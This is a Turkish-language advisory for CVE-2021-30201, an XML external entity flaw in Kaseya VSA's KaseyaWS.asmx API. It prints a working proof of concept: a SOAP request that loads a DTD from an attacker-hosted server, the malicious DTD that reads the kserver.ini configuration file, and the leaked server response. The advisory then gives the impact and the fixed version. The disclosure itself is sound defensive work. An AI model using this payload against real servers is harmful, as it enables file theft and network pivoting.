CVE-2021-30201
Açıklama
/vsaWS/KaseyaWS.asmx API'si sisteme XML göndermek için kullanılabilir. Bu XML işlendiğinde, (harici) varlıklar sistem tarafından güvensiz bir şekilde işlenir, getirilir ve saldırgana döndürülür. Detaylı açıklama Aşağıdaki istek verildiğinde: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` Ve http://192.168.1.170/oob.dtd adresinde barındırılan aşağıdaki XML dosyası ile: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` Sunucu bu XML dosyasını getirecek ve işleyecektir; c:\\kaseya\\kserver\\kserver.ini dosyasını okuyacak ve içeriği aşağıdaki gibi sunucu yanıtında döndürecektir. Yanıt: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---> There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Tespit edilen güvenlik sorunları --- * API, harici XML varlıklarını güvensiz bir şekilde çözümlüyor * API, aşırı ayrıntılı hata yanıtlarına sahip Etki --- Bir saldırgan, bu zafiyeti kullanarak web sunucusu işleminin okuma yetkisine sahip olduğu sunucudaki herhangi bir dosyayı okuyabilir. Ek olarak, yerel ağa yönelik HTTP(s) istekleri gerçekleştirmek için kullanılabilir ve böylece Kaseya sistemi üzerinden yerel ağda sıçrama (pivot) yapabilir.
Nasıl düzeltilir
- kaseya vsa9.5.6 ya da sonraki bir sürüm
Etkilenen ürünler
| Ürün | Etkilenen sürümler | Düzeltildiği sürüm |
|---|---|---|
| kaseya vsa | v < 9.5.6 | 9.5.6 |
Sürümünüzü kontrol edin
Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.
Attack Surface Management
Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.